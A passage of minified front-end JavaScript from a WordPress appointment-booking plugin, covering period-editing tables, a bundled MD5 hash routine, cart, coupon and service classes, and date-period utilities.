s{constructor(e){super(e),this.$table=this.$element.children("table"),this.$tableBody=this.$table.children("tbody"),this.$noItemsRow=this.$tableBody.children(".no-items"),this.$newPeriodRow=this.$tableBody.children(".mpa-new-period"),this.timeSelects=this.$newPeriodRow.find(".mpa-period"),this.$startTimeHoursInput=this.$newPeriodRow.find(".mpa-period__start-hours"),this.$startTimeMinutesInput=this.$newPeriodRow.find(".mpa-period__start-minutes"),this.$endTimeHoursInput=this.$newPeriodRow.find(".mpa-period__end-hours"),this.$endTimeMinutesInput=this.$newPeriodRow.find(".mpa-period__end-minutes"),this.$timeAllDayInput=this.$newPeriodRow.find(".mpa-period__all-day"),this.baseName=this.$element.attr("data-base-name"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(":not(.no-items, .mpa-new-period)").each(((e,t)=>{let i=t.getAttribute("data-id"),s=jQuery(t).find(".column-actions > input").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(".mpa-new-period > .column-dates > input"),{mode:"range"})}addListeners(){this.$timeAllDayInput.on("change",(e=>{e.target.checked?this.timeSelects.hide():this.timeSelects.show()})),this.$table.find("thead .mpa-add-button").on("click",(()=>{this.toggleEdit()})),this.$tableBody.find(".mpa-add-button").on("click",(()=>{this.onAdd()}));let e=this;this.$tableBody.find(".mpa-remove-button").on("click",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass("mpa-hide")?(this.$newPeriodRow.removeClass("mpa-hide"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass("mpa-hide")}addPeriod(e,t,i,s){let a=e+", "+t,r=C(),n=this.renderPeriod(r,e,t,i,s);jQuery(n).insertAfter(this.$newPeriodRow),this.periods.add(r,a);let o=this.$tableBody.find('[data-id="'+r+'"] .mpa-remove-button'),l=this;o.on("click",(function(){l.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass("mpa-hide")}renderPeriod(e,t,i,s,a){let r=t+", "+i,n="";return n+='<tr class="mpa-period" data-id="'+e+'">',n+='<td class="column-dates mpa-badge-new">',n+=s,n+="</td>",n+='<td class="column-time mpa-badge-new">',n+=a,n+="</td>",n+='<td class="column-actions">',n+='<input type="hidden" name="'+this.baseName+'[]" value="'+r+'">',n+=B(c("Remove","motopress-appointment"),{class:"button button-secondary mpa-remove-button"}),n+="</td>",n+="</tr>",n}getStartTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$startTimeHoursInput.val())+parseInt(this.$startTimeMinutesInput.val())),e}getEndTime(){let e=0;return this.$timeAllDayInput.prop("checked")||(e=60*parseInt(this.$endTimeHoursInput.val())+parseInt(this.$endTimeMinutesInput.val())),e}onAdd(){let e=this.getStartTime(),t=this.getEndTime();if(!(this.datepicker.selectedDates.length>=2)||e===t&&0!==t||e>t&&0!==t)return;let i=this.datepicker.selectedDates[0],s=this.datepicker.selectedDates[1],a=m(i,"internal")+" - "+m(s,"internal"),r=F(i,s,"short"),n=x(e,"internal")+" - "+x(t,"internal"),o=x(e)+" - "+x(t);0===e&&0===e&&e===t&&(o=c("All day","motopress-appointment")),this.addPeriod(a,n,r,o)}removePeriodByParent(e){let t=jQuery(e).parents("tr.mpa-period");if(0==t.length)return;let i=t.attr("data-id");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass("mpa-hide"),t.remove()}}class K extends s{constructor(e){super(e),this.$table=this.$element.children("table"),this.$tableBody=this.$table.children("tbody"),this.$noItemsRow=this.$tableBody.children(".no-items"),this.$newPeriodRow=this.$tableBody.children(".mpa-new-period"),this.baseName=this.$element.attr("data-base-name"),this.datepicker=null,this.periods={length:0,add:function(e,t){let i=null==this[e];this[e]=t,i&&this.length++},remove:function(e){null!=this[e]&&(delete this[e],this.length--)},hasItems:function(){return this.length>0}},this.parseInitialState(),this.addListeners()}parseInitialState(){this.$tableBody.children(":not(.no-items, .mpa-new-period)").each(((e,t)=>{let i=t.getAttribute("data-id"),s=jQuery(t).find(".column-actions > input").val();this.periods.add(i,s)}))}initDatepicker(){this.datepicker=v(this.$tableBody.find(".mpa-new-period > .column-dates > input"),{mode:"range",showMonths:2})}addListeners(){let e=this;this.$table.find("thead .mpa-add-button").on("click",(()=>{this.toggleEdit()})),this.$tableBody.find(".mpa-add-button").on("click",(()=>{this.onAdd()})),this.$tableBody.find(".mpa-remove-button").on("click",(function(){e.removePeriodByParent(this)}))}toggleEdit(){this.$newPeriodRow.hasClass("mpa-hide")?(this.$newPeriodRow.removeClass("mpa-hide"),null==this.datepicker?this.initDatepicker():this.datepicker.clear()):this.$newPeriodRow.addClass("mpa-hide")}addPeriod(e,t){let i=C(),s=this.renderPeriod(i,e,t);jQuery(s).insertAfter(this.$newPeriodRow),this.periods.add(i,e);let a=this.$tableBody.find('[data-id="'+i+'"] .mpa-remove-button'),r=this;a.on("click",(function(){r.removePeriodByParent(this)})),this.toggleEdit(),this.$noItemsRow.addClass("mpa-hide")}renderPeriod(e,t,i){let s="";return s+='<tr class="mpa-period" data-id="'+e+'">',s+='<td class="column-dates mpa-badge-new">',s+=i,s+="</td>",s+='<td class="column-actions">',s+='<input type="hidden" name="'+this.baseName+'[]" value="'+t+'">',s+=B(c("Remove","motopress-appointment"),{class:"button button-secondary mpa-remove-button"}),s+="</td>",s+="</tr>",s}onAdd(){if(this.datepicker.selectedDates.length<2)return;let e=this.datepicker.selectedDates[0],t=this.datepicker.selectedDates[1],i=m(e,"internal")+" - "+m(t,"internal"),s=F(e,t,"short");this.addPeriod(i,s)}removePeriodByParent(e){let t=jQuery(e).parents("tr.mpa-period");if(0==t.length)return;let i=t.attr("data-id");this.periods.remove(i),this.periods.hasItems()||this.$noItemsRow.removeClass("mpa-hide"),t.remove()}}function Y(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var q,J,G={exports:{}},X={exports:{}};q="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",J={rotl:function(e,t){return e<<t|e>>>32-t},rotr:function(e,t){return e<<32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&J.rotl(e,8)|4278255360&J.rotl(e,24);for(var t=0;t<e.length;t++)e[t]=J.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i<e.length;i++,s+=8)t[s>>>5]|=e[i]<<24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i<32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i<e.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join("")},hexToBytes:function(e){for(var t=[],i=0;i<e.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i<e.length;i+=3)for(var s=e[i]<<16|e[i+1]<<8|e[i+2],a=0;a<4;a++)8*i+6*a<=8*e.length?t.push(q.charAt(s>>>6*(3-a)&63)):t.push("=");return t.join("")},base64ToBytes:function(e){e=e.replace(/[^A-Z0-9+\/]/gi,"");for(var t=[],i=0,s=0;i<e.length;s=++i%4)0!=s&&t.push((q.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)<<2*s|q.indexOf(e.charAt(i))>>>6-2*s);return t}},X.exports=J;var Z=X.exports,ee={utf8:{stringToBytes:function(e){return ee.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ee.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i<e.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i<e.length;i++)t.push(String.fromCharCode(e[i]));return t.join("")}}},te=ee,ie=function(e){return null!=e&&(se(e)||function(e){return"function"==typeof e.readFloatLE&&"function"==typeof e.slice&&se(e.slice(0,0))}(e)||!!e._isBuffer)};function se(e){return!!e.constructor&&"function"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=Z,t=te.utf8,i=ie,s=te.bin,a=function(r,n){r.constructor==String?r=n&&"binary"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,d=-1732584194,p=271733878,u=0;u<o.length;u++)o[u]=16711935&(o[u]<<8|o[u]>>>24)|4278255360&(o[u]<<24|o[u]>>>8);o[l>>>5]|=128<<l%32,o[14+(l+64>>>9<<4)]=l;var m=a._ff,g=a._gg,y=a._hh,v=a._ii;for(u=0;u<o.length;u+=16){var f=h,b=c,S=d,$=p;h=m(h,c,d,p,o[u+0],7,-680876936),p=m(p,h,c,d,o[u+1],12,-389564586),d=m(d,p,h,c,o[u+2],17,606105819),c=m(c,d,p,h,o[u+3],22,-1044525330),h=m(h,c,d,p,o[u+4],7,-176418897),p=m(p,h,c,d,o[u+5],12,1200080426),d=m(d,p,h,c,o[u+6],17,-1473231341),c=m(c,d,p,h,o[u+7],22,-45705983),h=m(h,c,d,p,o[u+8],7,1770035416),p=m(p,h,c,d,o[u+9],12,-1958414417),d=m(d,p,h,c,o[u+10],17,-42063),c=m(c,d,p,h,o[u+11],22,-1990404162),h=m(h,c,d,p,o[u+12],7,1804603682),p=m(p,h,c,d,o[u+13],12,-40341101),d=m(d,p,h,c,o[u+14],17,-1502002290),h=g(h,c=m(c,d,p,h,o[u+15],22,1236535329),d,p,o[u+1],5,-165796510),p=g(p,h,c,d,o[u+6],9,-1069501632),d=g(d,p,h,c,o[u+11],14,643717713),c=g(c,d,p,h,o[u+0],20,-373897302),h=g(h,c,d,p,o[u+5],5,-701558691),p=g(p,h,c,d,o[u+10],9,38016083),d=g(d,p,h,c,o[u+15],14,-660478335),c=g(c,d,p,h,o[u+4],20,-405537848),h=g(h,c,d,p,o[u+9],5,568446438),p=g(p,h,c,d,o[u+14],9,-1019803690),d=g(d,p,h,c,o[u+3],14,-187363961),c=g(c,d,p,h,o[u+8],20,1163531501),h=g(h,c,d,p,o[u+13],5,-1444681467),p=g(p,h,c,d,o[u+2],9,-51403784),d=g(d,p,h,c,o[u+7],14,1735328473),h=y(h,c=g(c,d,p,h,o[u+12],20,-1926607734),d,p,o[u+5],4,-378558),p=y(p,h,c,d,o[u+8],11,-2022574463),d=y(d,p,h,c,o[u+11],16,1839030562),c=y(c,d,p,h,o[u+14],23,-35309556),h=y(h,c,d,p,o[u+1],4,-1530992060),p=y(p,h,c,d,o[u+4],11,1272893353),d=y(d,p,h,c,o[u+7],16,-155497632),c=y(c,d,p,h,o[u+10],23,-1094730640),h=y(h,c,d,p,o[u+13],4,681279174),p=y(p,h,c,d,o[u+0],11,-358537222),d=y(d,p,h,c,o[u+3],16,-722521979),c=y(c,d,p,h,o[u+6],23,76029189),h=y(h,c,d,p,o[u+9],4,-640364487),p=y(p,h,c,d,o[u+12],11,-421815835),d=y(d,p,h,c,o[u+15],16,530742520),h=v(h,c=y(c,d,p,h,o[u+2],23,-995338651),d,p,o[u+0],6,-198630844),p=v(p,h,c,d,o[u+7],10,1126891415),d=v(d,p,h,c,o[u+14],15,-1416354905),c=v(c,d,p,h,o[u+5],21,-57434055),h=v(h,c,d,p,o[u+12],6,1700485571),p=v(p,h,c,d,o[u+3],10,-1894986606),d=v(d,p,h,c,o[u+10],15,-1051523),c=v(c,d,p,h,o[u+1],21,-2054922799),h=v(h,c,d,p,o[u+8],6,1873313359),p=v(p,h,c,d,o[u+15],10,-30611744),d=v(d,p,h,c,o[u+6],15,-1560198380),c=v(c,d,p,h,o[u+13],21,1309151649),h=v(h,c,d,p,o[u+4],6,-145523070),p=v(p,h,c,d,o[u+11],10,-1120210379),d=v(d,p,h,c,o[u+2],15,718787259),c=v(c,d,p,h,o[u+9],21,-343485551),h=h+f>>>0,c=c+b>>>0,d=d+S>>>0,p=p+$>>>0}return e.endian([h,c,d,p])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o<<r|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,G.exports=function(t,i){if(null==t)throw new Error("Illegal argument "+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var ae=Y(G.exports);class re{setupProperties(){this.itemId="",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e="all"){return"ids"===e?this.getIds():"availability"===e?this.getAvailableIds():"period"===e?{date:null!==this.date?m(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):""}:jQuery.extend(this.getIds(),{date:null!==this.date?m(this.date,"internal"):"",time:null!==this.time?this.time.toString("internal"):"",capacity:this.capacity})}isSet(e="all"){let t=!0;return"all"!==e&&"ids"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),"all"!==e&&"period"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&m(this.date,"internal")==m(e,"internal")&&this.time.toString("internal")==t.toString("internal")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(E(t.minCapacity,t.maxCapacity));return k(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return ae(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let ne=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return""!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t+1;return i<this.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return""!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return k(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class oe{setupProperties(){var e;this.items=new ne,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:""}constructor(){this.setupProperties()}createItem(e=""){e||(e=C());let t=new re(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),h().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return ae("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||y()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=k(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class le{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class he extends le{setupProperties(){super.setupProperties(),this.name=""}}class ce extends le{setupProperties(){super.setupProperties(),this.name=""}}class de extends le{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation("price",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():c("Clients","motopress-appointment")}}class pe{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class ue extends le{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let i=e[t];null!=i&&""!==i&&(this[t]=g(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=i*this.amount/100}t=Math.min(t,i)}return t}}class me{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return n(this.getRoute(),{id:e})}requestEntities(e){return n(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class ge extends me{findByCode(e,t=!1){return n(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new ue(e.id,e)}}class ye{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?M(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?M(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new ye(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new ye(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let i="short"==e?"public":e,s=A(this.startTime,i),a=A(this.endTime,i);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?c("All day","motopress-appointment"):"short"==e&&s==a?s:s+t+a}}class ve extends le{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?g(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new ye(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new ye(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class fe extends me{mapRestDataToEntity(e){return new ve(e.id,e)}}class be{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?g(e)||y():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=g(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let i=m(t,"internal"),s=new Date(t);e[i]=s}return e}toString(){return m(this.startDate,"internal")+" - "+m(this.endDate,"internal")}}class Se extends le{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in 